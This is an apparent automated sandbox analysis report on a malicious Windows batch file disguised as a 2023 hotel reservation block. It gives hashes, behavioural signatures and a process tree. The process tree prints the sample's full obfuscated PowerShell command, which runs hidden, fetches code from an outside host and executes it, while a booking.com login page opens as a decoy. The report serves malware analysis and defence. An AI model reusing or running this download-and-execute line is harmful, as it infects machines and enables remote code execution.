Analysis
-
max time kernel
45s -
max time network
104s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
26-12-2022 12:26
Static task
static1
Behavioral task
behavioral1
Sample
Bloque de Reservas 2023.bat
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
Bloque de Reservas 2023.bat
Resource
win10v2004-20221111-en
General
-
Target
Bloque de Reservas 2023.bat
-
Size
21KB
-
MD5
2a80fa747f0ea4e2c77d551a23d65285
-
SHA1
f657495753dd91057279f8171eb031a26e57a5b0
-
SHA256
3b42d41243205d02ba8d6ed32387207e340a29e7d4fc3b5c6451126b7a9c4f79
-
SHA512
9f461b4d9afef6024dc456b04d882c8634932114e2ccb6611a4b99d21409da9a43d66adf4f19c0f294a1524e5c12f73cf5d51a45fc768311561815ebe46ebe67
-
SSDEEP
384:Q9OXED0jw4MhT9OXED0jw4Mhc9OXED0jw4MhNG99OXED0jw4MhN6P:Q6+466+4j6+4sG6+4OY
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 8 1716 powershell.exe 9 1716 powershell.exe 13 1716 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
IEXPLORE.EXEiexplore.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\account.booking.com\ = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 305fe4c92d19d901 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com\NumberOfSubdomains = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006a8722a8342d374e8e03c3618b50aedc000000000200000000001066000000010000200000003f18ab3d7014f7048e6756697c23d2ff220019929e6f7b17592843057c33e3fc000000000e80000000020000200000007b46446e272a9ccebd259d3b9c975fad74d1fa21f93d737fa4aef3799247954b2000000063fd234cc3cda7725b724e6a6ca619b4c3d672febcb444b0f9faa1ebb193310f400000008db674b879b954e3be73ca57fc2276960400282ad5fb648d38ff7c8d91898b1ef6d34b65730eb0ada6a2ce8f2b2b1df137614b9931077bf1d46dd3ecc3225c6d iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\account.booking.com IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "77" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\account.booking.com\ = "77" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "32" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006a8722a8342d374e8e03c3618b50aedc00000000020000000000106600000001000020000000f82fc93b1ea26b989e086fa6df42c428e4da3c20c2870ede271cb09580381bdb000000000e80000000020000200000009967b7e76bc5a4b5221d69c833cfc4daa467bd26a6e242f87058f84075ae05b69000000081febf5be67df9483b3fc1a44628fa6af44916f0d83047d6689b4ddcc21eb013ea1dbc924f45e1595b34a4c3a3b6f56ad8ca054c21f9cef6dfab6ee8a7fded42b60c6abcea5a432665d797b5cd539ecf5b480c4991d0e7dfc1b49121ac8f710493dfdce45ab281e025452a702b3967f9202218dd5ea5ef233ed5bf13f2501aa7112e018e703129852cea9135aa010324400000005ec4cfc3408e8061f62244f7337e7935f25ef897db1492a88639c384bfb0e2dcb40fe3a5d709c02ac679db81fe44fa06b44d05f9977aa7cd2cc12db08b3a353b iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{EEA06491-8520-11ED-9172-7ADD0904B6AC} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\account.booking.com\ = "32" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com\Total = "32" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com\Total = "77" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "28" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\account.booking.com\ = "28" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com\Total = "28" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DOMStorage\booking.com\Total = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1716 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1716 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
iexplore.exepid process 864 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
iexplore.exeIEXPLORE.EXEpid process 864 iexplore.exe 864 iexplore.exe 1620 IEXPLORE.EXE 1620 IEXPLORE.EXE 1620 IEXPLORE.EXE 1620 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
cmd.execmd.exeiexplore.exedescription pid process target process PID 1960 wrote to memory of 864 1960 cmd.exe iexplore.exe PID 1960 wrote to memory of 864 1960 cmd.exe iexplore.exe PID 1960 wrote to memory of 864 1960 cmd.exe iexplore.exe PID 1960 wrote to memory of 1720 1960 cmd.exe cmd.exe PID 1960 wrote to memory of 1720 1960 cmd.exe cmd.exe PID 1960 wrote to memory of 1720 1960 cmd.exe cmd.exe PID 1720 wrote to memory of 1716 1720 cmd.exe powershell.exe PID 1720 wrote to memory of 1716 1720 cmd.exe powershell.exe PID 1720 wrote to memory of 1716 1720 cmd.exe powershell.exe PID 864 wrote to memory of 1620 864 iexplore.exe IEXPLORE.EXE PID 864 wrote to memory of 1620 864 iexplore.exe IEXPLORE.EXE PID 864 wrote to memory of 1620 864 iexplore.exe IEXPLORE.EXE PID 864 wrote to memory of 1620 864 iexplore.exe IEXPLORE.EXE
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Bloque de Reservas 2023.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjCk3OzCvbMlOgBCAFjunbCQBg2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:864 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeCMD /C POWERSHELL -NOP -WIND HIDDEN -EXEC BYPASS -NONI $_xh_vs_m__yhm____j_w______e_o_rkal___am__n_jj_hezz___sq_loh__c_wdmh_bku__wrnfd__gayoqwwh__c____c__gvm_dpff___dw_f_c___g_pa___nhrz__x____wj_k_egqr__bc_ygbz_mx_iqxhsl_y______z_jkt____gpqq__x_o__b_n_luk_kk_a_egh_tsh_u_r____c_k_yl_h___yebd___z___hnvvkgnvyj_zqxa____yaxs__u_c_cc_z_fvgd____tr____c='IEX(NEW-OBJECT NET.W';$mn_c__j_bs_okzwhsze_e_y__fpeb____z__j___v__k____w_f_gm_____i_f_f__dk__x___w_x___xfh_qt_y_yy__e_qg_______mrq________txen_a____c_____yyne_lsd__fih__c_te_clog___f_f__lwncf_ijf_oxu_d__z_p____k__ri_s__o__yvw_k_n__ql__x___rk__arx_p_____gysg_______q__s_k_i__d_j_e__v_w__nf__re__ncz__yb_____n_dzki__='EBCLIENT).DOWNLO';SlEEp 1;[BYTE[]];SlEEp 1;$a_y_lnx_b__k__c___gk_s___hjw_czj_c_yr____w____c_l___a___j_cefb__f_______q_e__ves__k__cj_mc_x__g____eij_hp___t_im_j_______f___of_nzifzzlvu__dv__ltc__ax____qdcssboo_______d__py_k___k__q_kl_gj_____n_kp___qxwk__tmh_he_t_xbk___h_k___lzx___x_l_g_ds_c_______lgj_h_hmy_jjmjedhjd__u__x_f__n__dq__u___='ALLAH(''http://skynetx.com.br/cr.png'')'.RePLACe('ALLAH','ADSTRING');SlEEp 1;IEX($_xh_vs_m__yhm____j_w______e_o_rkal___am__n_jj_hezz___sq_loh__c_wdmh_bku__wrnfd__gayoqwwh__c____c__gvm_dpff___dw_f_c___g_pa___nhrz__x____wj_k_egqr__bc_ygbz_mx_iqxhsl_y______z_jkt____gpqq__x_o__b_n_luk_kk_a_egh_tsh_u_r____c_k_yl_h___yebd___z___hnvvkgnvyj_zqxa____yaxs__u_c_cc_z_fvgd____tr____c+$mn_c__j_bs_okzwhsze_e_y__fpeb____z__j___v__k____w_f_gm_____i_f_f__dk__x___w_x___xfh_qt_y_yy__e_qg_______mrq________txen_a____c_____yyne_lsd__fih__c_te_clog___f_f__lwncf_ijf_oxu_d__z_p____k__ri_s__o__yvw_k_n__ql__x___rk__arx_p_____gysg_______q__s_k_i__d_j_e__v_w__nf__re__ncz__yb_____n_dzki__+$a_y_lnx_b__k__c___gk_s___hjw_czj_c_yr____w____c_l___a___j_cefb__f_______q_e__ves__k__cj_mc_x__g____eij_hp___t_im_j_______f___of_nzifzzlvu__dv__ltc__ax____qdcssboo_______d__py_k___k__q_kl_gj_____n_kp___qxwk__tmh_he_t_xbk___h_k___lzx___x_l_g_ds_c_______lgj_h_hmy_jjmjedhjd__u__x_f__n__dq__u___)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOWERSHELL -NOP -WIND HIDDEN -EXEC BYPASS -NONI $_xh_vs_m__yhm____j_w______e_o_rkal___am__n_jj_hezz___sq_loh__c_wdmh_bku__wrnfd__gayoqwwh__c____c__gvm_dpff___dw_f_c___g_pa___nhrz__x____wj_k_egqr__bc_ygbz_mx_iqxhsl_y______z_jkt____gpqq__x_o__b_n_luk_kk_a_egh_tsh_u_r____c_k_yl_h___yebd___z___hnvvkgnvyj_zqxa____yaxs__u_c_cc_z_fvgd____tr____c='IEX(NEW-OBJECT NET.W';$mn_c__j_bs_okzwhsze_e_y__fpeb____z__j___v__k____w_f_gm_____i_f_f__dk__x___w_x___xfh_qt_y_yy__e_qg_______mrq________txen_a____c_____yyne_lsd__fih__c_te_clog___f_f__lwncf_ijf_oxu_d__z_p____k__ri_s__o__yvw_k_n__ql__x___rk__arx_p_____gysg_______q__s_k_i__d_j_e__v_w__nf__re__ncz__yb_____n_dzki__='EBCLIENT).DOWNLO';SlEEp 1;[BYTE[]];SlEEp 1;$a_y_lnx_b__k__c___gk_s___hjw_czj_c_yr____w____c_l___a___j_cefb__f_______q_e__ves__k__cj_mc_x__g____eij_hp___t_im_j_______f___of_nzifzzlvu__dv__ltc__ax____qdcssboo_______d__py_k___k__q_kl_gj_____n_kp___qxwk__tmh_he_t_xbk___h_k___lzx___x_l_g_ds_c_______lgj_h_hmy_jjmjedhjd__u__x_f__n__dq__u___='ALLAH(''http://skynetx.com.br/cr.png'')'.RePLACe('ALLAH','ADSTRING');SlEEp 1;IEX($_xh_vs_m__yhm____j_w______e_o_rkal___am__n_jj_hezz___sq_loh__c_wdmh_bku__wrnfd__gayoqwwh__c____c__gvm_dpff___dw_f_c___g_pa___nhrz__x____wj_k_egqr__bc_ygbz_mx_iqxhsl_y______z_jkt____gpqq__x_o__b_n_luk_kk_a_egh_tsh_u_r____c_k_yl_h___yebd___z___hnvvkgnvyj_zqxa____yaxs__u_c_cc_z_fvgd____tr____c+$mn_c__j_bs_okzwhsze_e_y__fpeb____z__j___v__k____w_f_gm_____i_f_f__dk__x___w_x___xfh_qt_y_yy__e_qg_______mrq________txen_a____c_____yyne_lsd__fih__c_te_clog___f_f__lwncf_ijf_oxu_d__z_p____k__ri_s__o__yvw_k_n__ql__x___rk__arx_p_____gysg_______q__s_k_i__d_j_e__v_w__nf__re__ncz__yb_____n_dzki__+$a_y_lnx_b__k__c___gk_s___hjw_czj_c_yr____w____c_l___a___j_cefb__f_______q_e__ves__k__cj_mc_x__g____eij_hp___t_im_j_______f___of_nzifzzlvu__dv__ltc__ax____qdcssboo_______d__py_k___k__q_kl_gj_____n_kp___qxwk__tmh_he_t_xbk___h_k___lzx___x_l_g_ds_c_______lgj_h_hmy_jjmjedhjd__u__x_f__n__dq__u___)3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\lwrmjt1\imagestore.datFilesize
6KB
MD53590b3795e3cb11a161a8df66f07e164
SHA1bc07deec240975845324ea564e532840aecbc2f3
SHA256cac0aec35dc77b5c275e026335625b0cb2dd20909eab791445f5e7740645d6d7
SHA5121134a376d653042cb57b3c8d2a17b419d8dc451e26d540581c654faeebda970e5ea87f50f187d7a281024fd4587d49828cf25eabdb40869f9341f1158a20be84
-
memory/1716-79-0x0000000000000000-mapping.dmp
-
memory/1716-81-0x000007FEF4990000-0x000007FEF53B3000-memory.dmpFilesize
10.1MB
-
memory/1716-83-0x0000000002694000-0x0000000002697000-memory.dmpFilesize
12KB
-
memory/1716-82-0x000007FEF3E30000-0x000007FEF498D000-memory.dmpFilesize
11.4MB
-
memory/1716-84-0x000000000269B000-0x00000000026BA000-memory.dmpFilesize
124KB
-
memory/1716-85-0x0000000002694000-0x0000000002697000-memory.dmpFilesize
12KB
-
memory/1716-86-0x000000000269B000-0x00000000026BA000-memory.dmpFilesize
124KB
-
memory/1720-77-0x0000000000000000-mapping.dmp
-
memory/1960-54-0x000007FEFC621000-0x000007FEFC623000-memory.dmpFilesize
8KB